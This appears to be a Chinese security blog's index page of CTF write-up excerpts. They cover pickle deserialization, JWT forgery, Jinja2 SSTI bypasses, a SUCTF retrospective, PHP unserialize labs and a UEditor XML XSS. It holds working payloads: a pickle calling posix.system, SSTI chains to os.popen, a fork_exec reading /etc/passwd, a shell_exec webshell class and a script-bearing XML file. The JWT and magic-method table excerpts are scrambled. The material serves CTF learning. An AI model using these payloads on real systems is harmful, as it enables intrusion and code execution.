python 反序列化pickle模块

python的反序列化和其他语言的类似功能类似,都是将对象数据转化为字节流方便存储与流转,使用时在将其转化回对原始对象的过程 python中的反序列化一般有两种方式:pickle模块与json模块,前者为python特有格式,后者使用通用json格式 python反序列化漏洞主涉及以下几个概念pickle,pvm,__redurce__ ,魔术方法 pickle pickle是python的内置的反序列化模块,核心功能是将python对象转化为字节流(序列化),以及将字节流还原为对象(反序列化) 简单演示: import base64 import pickle data = { "name":"123123", "age":30 } datapic = pickle.dumps(data) print(base64.b64encode(datapic)) 服务端 import base64 import pickle data = input("Enter payload: ").encode() obj = pickle.loads(base64.b64decode(data)) print(obj) Enter payload: gASVHQAAAAAAAAB9lCiMBG5hbWWUjAYxMjMxMjOUjANhZ2WUSx51Lg== {'name': '123123', 'age': 30} pickle可以用于绝大多数python对象,他的操作方法有如下四种 dump 对象序列化到文件对象并存入文件 dumps 对象序列为字节流 load 对象反序列化,从文件读取数据 loads 对象反序列化,从字节流读取数据 PVM python虚拟机的简写,先前序列化出来的内容其实就是pvm的操作内容 PVM结构 pvm所处理的数据是是一个二进制字节流,由协议头、操作码、数据段、和状态控制符组成 \x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94. 通过pickletools可以将其分解可读的操作码 import pickletools payload = b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.' # 查看 PVM 指令分解 pickletools.dis(payload) 0: \x80 PROTO 4 2: \x95 FRAME 29 11: \x8c SHORT_BINUNICODE 'posix' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'system' 27: \x94 MEMOIZE (as 1) 28: \x93 STACK_GLOBAL 29: \x94 MEMOIZE (as 2) 30: \x8c SHORT_BINUNICODE 'id' 34: \x94 MEMOIZE (as 3) 35: \x85 TUPLE1 36: \x94 MEMOIZE (as 4) 37: R REDUCE 38: \x94 MEMOIZE (as 5) 39: . STOP 协议头 标识使用的pickle协议版本一般使用 ...

March 15, 2025 · 2 min · 248 words · neko

jwt_session伪造

jwt_session伪造 JWT:将用户身份信息编码到Token,通过签名确保数据完整性,无需服务器验证,只需要验证签名完整性 jwt由三部分组成:头部.载荷.签证 e e K y y M J J U h z F b d s G W I c I D i i T O O n i i F J I m I x y U M G z j 3 I M n 1 0 M N N i i T G I Y M s 3 6 I O H n D 9 R k F 5 w N c I F C i U I w R 6 i O I b f k m 3 p F w X t h V Z 7 C S S J I m 9 6 q . I J k p p - v Q a V G 3 4 0 g R G 9 l I i w i Y W R t a W 4 i O n R y d W U s I m l h d C I 6 M T U x N j I z O T A y M n 0 . 由签证验证前两者的准确性 ...

February 27, 2025 · 2 min · 410 words · neko

python ssti 注入绕过与ctfshow刷题

如何确定模板: 一个完成的ssti利用如下 拿基类->找子类->构造命令->拿flag {{''.__class__.__base__.__subclasses__()}} # 拿基类 {{equest.__class__.__mro__[-1].__subclasses__()[206].__init__.__globals__}} #找子类 (常见是命令执行或者文件读取类的) {{equest.__class__.__mro__[-1].__subclasses__()[206].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} # 构造命令 {%%} 执行 有时候双大括号会被过滤,可以使用这个进行执行 输出可用: {%print("".__class__)%} request 绕过 最喜欢的绕过方式 request可以访问基于http请求的传递的所有信息,这里的request是flask的函数 request.args.key #获取get传入的key的值 request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get request.cookies.key #获取cookies传入参数 request.headers.key #获取请求头请求参数 request.data #获取post传入参数(Content-Type:a/b) request.json #获取post传入json参数 (Content-Type: application/json) 例如[HNCTF 2022 WEEK3]ssssti 这道题,就可以使用request绕过的方式 from flask import Flask,render_template,render_template_string,redirect,request,session,abort,send_from_directoryimport os import re app = Flask(__name__) @app.route("/") def app_index(): name = request.args.get('name') blacklist = ['\'', '"', 'args', 'os', '_'] if name: for no in blacklist: if no in name: return 'Hacker' template = '''{%% block body %%} <div class="center-content error"> <h1>WELCOME TO HNCTF</h1> <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#python" id="test" target="_blank">What is server-side template injection?</a> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.args.get('name')) return render_template_string(template) if __name__=="__main__": app.run(host='0.0.0.0',port=5050) payload: ...

February 20, 2025 · 2 min · 289 words · neko

ssti,模板注入

模板注入不止与python,其官方存在与各类存在模板引擎的语言中,java,php,js,都有,这里为了方便使用python学习 from flask import Flask from flask import request from flask import render_template_string app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def index(): template = ''' <p>Hello %s </p>''' % (request.args.get('name')) return render_template_string(template) if __name__ == '__main__': app.run() flask框架使用的是jinja2模板引擎 关键在于 <p>Hello %s </p>''' % (request.args.get('name')) 将输入直接插入了显示,而jinja2会在插入的时候将{{}}中的内容作为变量解析 利用前置知识点 对象 python中一切都是对象,创建列表、字符、字典、时候都是在创建对象 继承 对象的类是实例,类是对象的模板,创建对象其实是创建了一个类的实例,python中所有类继承与一个基类,通过创建一个对象反向查找他的类以及他的父类,这样就能从任意对象回到基类,在从此往下查找 魔术方法 通过魔术方法能做到对类的操控,从而完成命令执行或文件读取之类的操作 注入流程 拿基类->找子类->构造命令->拿flag 魔术方法备忘 _ _ _ _ c b b m l a a r a s e o s e s _ s _ e _ _ _ _ _ _ 对 查 实 象 对 看 例 的 象 继 对 直 的 承 象 接 全 关 的 基 部 系 类 类 基 的 类 调 , 用 元 顺 组 序 形 , 式 元 组 形 式 基类 通过mro魔术方法拿到基类 ...

February 20, 2025 · 4 min · 681 words · neko

suctf2025 复盘

k8s aliyun 基础权限的获取不难,通过_posixsubprocess模块可以执行命令 import os import _posixsubprocess _posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False) 同时通过往tmp路径下写入一个bash -i的反弹脚本调用即可 前面我先使用了常见的对k8s的手段,读取/var/run/secrets/kubernetes.io/serviceaccount/tokentoken尝试获得权限,没用,权限很低 后续又使用了CDK进行扫描,扫描出了几个cve,逐个尝试后发现没用,又发现metadata,这时候已经第二天了,使用metadata读取到了token,之前没打过云,在网上搜索过后发现可以使用cf工具接管console,但尝试过后这个方法在阿里云升级后也没用了,后续翻找也没用发现存在的oss桶,就与这题目错过了 题解 阿里云cli 登入 #aliyun oss ls oss://suctf-flag-bucket --all-versions LastModifiedTime Size(B) StorageClass ETAG VERSIONID IS-LATEST DELETE-MARKER ObjectName 2025-01-11 21:30:39 +0800 CST 0 CAEQmwIYgoDA2sKe1qIZIiA2NmViNDQ2NWVjNzk0MzQ1YjdiNjdkYTE5ZjYwNTQyMg-- true true oss://suctf-flag-bucket/oss-flagx 2025-01-11 21:30:03 +0800 CST 76 Standard 7246CE228374D17256B45DDF88E891A0 CAEQmwIYgYDA6Lad1qIZIiAyMjBhNWVmMDRjYzY0MDI3YjhiODU3ZDQ2MDc1MjZhOA-- false false oss://suctf-flag-bucket/oss-flag Object Number is: 2 #aliyun oss cat oss://suctf-flag-bucket/oss-flag --version-id CAEQmwIYgYDA6Lad1qIZIiAyMjBhNWVmMDRjYzY0MDI3YjhiODU3ZDQ2MDc1MjZhOA-- SUCTF{kubernetes_is_not_only_the_cloud-a09f950a-eb89-46f4-b381-fec7c9a0023a} SU_photogallery PHP<=7.4.21 Development Server源码泄露,但我没用复现成功 读出来的代码 <?php error_reporting(0); function get_extension($filename){ return pathinfo($filename, PATHINFO_EXTENSION); } function check_extension($filename,$path){ $filePath = $path . DIRECTORY_SEPARATOR . $filename; if (is_file($filePath)) { $extension = strtolower(get_extension($filename)); if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) { if (!unlink($filePath)) { // echo "Fail to delete file: $filename\n"; return false; } else{ // echo "This file format is not supported:$extension\n"; return false; } } else{ return true; } } else{ // echo "nofile"; return false; } } function file_rename ($path,$file){ $randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file); $oldPath = $path . DIRECTORY_SEPARATOR . $file; $newPath = $path . DIRECTORY_SEPARATOR . $randomName; if (!rename($oldPath, $newPath)) { unlink($path . DIRECTORY_SEPARATOR . $file); // echo "Fail to rename file: $file\n"; return false; } else{ return true; } } function move_file($path,$basePath){ foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) { $destination = $basePath . DIRECTORY_SEPARATOR . basename($file); if (!rename($file, $destination)){ // echo "Fail to rename file: $file\n"; return false; } } return true; } function check_base($fileContent){ $keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info']; $base64_keywords = []; foreach ($keywords as $keyword) { $base64_keywords[] = base64_encode($keyword); } foreach ($base64_keywords as $base64_keyword) { if (strpos($fileContent, $base64_keyword)!== false) { return true; } else{ return false; } } } function check_content($zip){ for ($i = 0; $i < $zip->numFiles; $i++) { $fileInfo = $zip->statIndex($i); $fileName = $fileInfo['name']; if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) { return false; } // echo "Checking file: $fileName\n"; $fileContent = $zip->getFromName($fileName); if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) { // echo "Don't hack me!\n"; return false; } else { continue; } } return true; } function unzip($zipname, $basePath) { $zip = new ZipArchive; if (!file_exists($zipname)) { // echo "Zip file does not exist"; return "zip_not_found"; } if (!$zip->open($zipname)) { // echo "Fail to open zip file"; return "zip_open_failed"; } if (!check_content($zip)) { return "malicious_content_detected"; } $randomDir = 'tmp_'.md5(uniqid().rand(0, 99999)); $path = $basePath . DIRECTORY_SEPARATOR . $randomDir; if (!mkdir($path, 0777, true)) { // echo "Fail to create directory"; $zip->close(); return "mkdir_failed"; } if (!$zip->extractTo($path)) { // echo "Fail to extract zip file"; $zip->close(); } for ($i = 0; $i < $zip->numFiles; $i++) { $fileInfo = $zip->statIndex($i); $fileName = $fileInfo['name']; if (!check_extension($fileName, $path)) { // echo "Unsupported file extension"; continue; } if (!file_rename($path, $fileName)) { // echo "File rename failed"; continue; } } if (!move_file($path, $basePath)) { $zip->close(); // echo "Fail to move file"; return "move_failed"; } rmdir($path); $zip->close(); return true; } $uploadDir = DIR . DIRECTORY_SEPARATOR . 'upload/suimages/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0777, true); } if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $uploadedFile = $_FILES['file']; $zipname = $uploadedFile['tmp_name']; $path = $uploadDir; $result = unzip($zipname, $path); if ($result === true) { header("Location: index.html?status=success"); exit(); } else { header("Location: index.html?status=$result"); exit(); } } else { header("Location: index.html?status=file_error"); exit(); } 总的来说这次比赛发挥很差,一个致命的原因就是没用找到关键点,题目的关键点也好flag的关键点也好,总的来说还是题做少了 ...

January 20, 2025 · 3 min · 543 words · neko

helloctf 反序列化靶场

php反序列化靶场做题 level 2 <?php /* --- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 --- HINT:尝试将flag传递出来~ # -*- coding: utf-8 -*- # @Author: 探姬 # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com */ error_reporting(0); $flag_string = "NSSCTF{????}"; class FLAG{ public $free_flag = "???"; function get_free_flag(){ echo $this->free_flag; } } $target = new FLAG(); $code = $_POST['code']; if(isset($code)){ eval($code); $target->get_free_flag(); } else{ highlight_file('source'); } 从上往下 可控点位于$code = $_POST['code'];flag位于$flag_string根据代码可以修改class中的$free_flag值为$flag_string ...

December 27, 2024 · 10 min · 1999 words · neko

php反序列化

若unserialize()可控则可导致特制的序列化数据经过其被反序列化后触发程序代码中的安全问题 常见魔术方法表 魔术方法 功能描述 使用场景 __construct() 类的构造函数,在对象创建时调用。 用于初始化对象属性或执行其他必要的初始化操作。 __destruct() 类的析构函数,在对象销毁时调用。 用于清理资源,如关闭文件、数据库连接或其他外部资源。 __call() 当调用类中不存在或不可访问的方法时自动调用。 用于动态处理方法调用,如方法名称和参数未知的情况。 __callStatic() 当调用类中不存在或不可访问的静态方法时自动调用。 用于动态处理静态方法调用,如静态方法名称和参数未知的情况。 __get() 当访问类中不存在或不可访问的属性时自动调用。 用于动态获取属性值,通常结合 __set() 使用。 __set() 当设置类中不存在或不可访问的属性时自动调用。 用于动态设置属性值,通常结合 __get() 使用。 __isset() 当使用 isset() 或 empty() 检查类的属性时自动调用。 用于检查类的属性是否已设置。 __unset() 当使用 unset() 删除类的属性时自动调用。 用于删除类的属性,或在删除前执行额外的逻辑。 __toString() 当对象作为字符串使用时自动调用。 用于自定义对象的字符串表示,通常在 echo 或 print 中使用。 __invoke() 使对象可调用,允许对象像函数一样被调用。 用于实现对象的可调用性。 __clone() 当对象被克隆时自动调用。 用于自定义对象克隆时的行为。 __sleep() 当对象被序列化时自动调用,返回一个属性名的数组,表示需要序列化的属性。 用于在序列化对象之前决定哪些属性需要保存。 __wakeup() 当对象被反序列化时自动调用。 用于恢复对象的状态或重新初始化属性。 __set_state() 当使用 var_export() 导出对象时自动调用。 用于定义对象导出时的行为,可以控制对象的导出输出。 __isset() 当调用对象的某个属性时,PHP 会先检查该属性是否存在,如果不存在,自动调用该方法。 可以用来处理某些不存在的属性。 样例: <?php // 定义 Webshell 类,和目标代码中的 Webshell 类保持一致 class Webshell { public $cmd = 'echo "Hello World!"'; public function __construct() { $this->init(); } public function init() { if (!preg_match('/flag/i', $this->cmd)) { $this->exec($this->cmd); } } public function exec($cmd) { $result = shell_exec($cmd); echo $result; } } // 创建 Webshell 对象并修改 cmd 属性 $webshell = new Webshell(); $webshell->cmd = 'cat flag.txt'; // 修改 cmd 为你想执行的命令 // 序列化该对象 $serialized = serialize($webshell); // 输出序列化后的字符串 echo $serialized; ?> 对照魔术方法表不难看出,这个样例通过修改类内置的cmd变量并将序列化的对象输出,再复用这个对象时,其中的echo "Hello World!"就会变成cat flag.txt ...

November 27, 2024 · 2 min · 247 words · neko

ueditorXSS

无论是edu还是其他的某些项目,经常能在灯塔寻获的资产里发现title是完成domo的网页,这种就基本保底一个存储xss了,运气好说不定还能拿到文件上传getshell的高危 ueditorXSS ueditor 一个经典的富文本编辑器,百度开发,问题在与他带的一个demo,如果被共享到公网就可以做文件上传造成xss 大概的页面是这样的,可能会有不同或者其他可能,后面说,其中能上传的文件后缀一般会出现在config文件中,一般位于 /ueditor/php/config.json /ueditor/asp/config.json /ueditor/jsp/config.json 这样的位置 一般会列举允许上传的文件,其中就包括这次利用的xml,xml是可以造成xss的 <html> <head> </head> <body> <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1); </something:script> </body> </html> 调用图片上传接口 修改image为file然后上传即可获得一个xss链接 在.net的1.4.3版本中还存在有一个文件上传漏洞能直接上传.ashx但我没遇到过,可能是太老了,更加详细的漏洞师傅们可以看看https://forum.butian.net/share/167 特殊 遇到过一个特殊的 这里需要去console调用UE.getEditor(’editor’)才能拉起编辑器,但容易第一眼就忽略,有些标题是完整demo但完全没东西的可以这么试一试,说不定呢

September 30, 2024 · 1 min · 25 words · neko

文件上传碰壁

挖洞——某个大学上传 在翻灯塔的资产的时候看到了某个大学的某个服务存在注册,遂注册了一个账户上去看看 发现可以其中可以传输文件,常见的文件绕过点了一通发现存在白名单,通过报错把他的上传逻辑搞出来了 [8] ErrorException in Upload.php line 108 getimagesize(): Read error! return true; } throw new UploadException(__('Uploaded file format is limited')); } protected function checkImage($force = false) { //验证是否为图片文件 if (in_array($this->fileInfo['type'], ['image/gif', 'image/jpg', 'image/jpeg', 'image/bmp', 'image/png', 'image/webp']) || in_array($this->fileInfo['suffix'], ['gif', 'jpg', 'jpeg', 'bmp', 'png', 'webp'])) { $imgInfo = getimagesize($this->fileInfo['tmp_name']); if (!$imgInfo || !isset($imgInfo[0]) || !isset($imgInfo[1])) { throw new UploadException(__('Uploaded file is not a valid image')); } $this->fileInfo['imagewidth'] = isset($imgInfo[0]) ? $imgInfo[0] : 0; $this->fileInfo['imageheight'] = isset($imgInfo[1]) ? $imgInfo[1] : 0; return true; } else { return !$force; } 的确是一个白名单。。。还过了getimagesize,不好绕 在测试过程中还发现了,他能传pdf本来想尝试下pdfxss,但是。。。 https://mok.moe/p/ot80 遂去问了一嘴 寄

September 30, 2024 · 1 min · 94 words · neko

巅峰极客复现

复现会 php_online can you break this sandbox? 给了py文件,先读代码 第一眼过去肯定是看到/路由下的id传参,即 session['id'] = id # 将ID存储在会话中。 if not os.path.exists(f'/sandbox/{id}'): # 检查沙箱目录是否存在,如果不存在,则创建。 os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read() 这块内容,在复现会中师傅也说过题目在这里卡住了,想法是这个id的位置是否能够伪造,但是想到其在 if not id.isalnum() or len(id) != 8:这里就做了判断,其实是不行的,个人觉得这应该就是一个陷阱,继续往后跟踪,在创建沙箱后路由重定向到了/sandbox 在这里,code是可控的 code = request.form.get('code') 继续往下,第一个os操作会先进入到以用户id为名的文件夹中,并清空文件,而后以www-data的权限cp将app文件夹下的init.py复制到当前用户的目录,并以www-data的权限执行 os.popen(f'cd /sandbox/{user_id} && rm *').read() # 清空用户ID对应的文件夹 os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read() 然后删除之前的php代码,创建新的phpcode文件,写入code传入的参数 php_file = open(f'/sandbox/{user_id}/phpcode', 'w') # 打开PHP代码文件 php_file.write(code) # 将提交的代码写入文件 php_file.close() # 关闭文件 之后以nobody的权限执行php代码,完成后删除文件 ...

September 23, 2024 · 2 min · 382 words · neko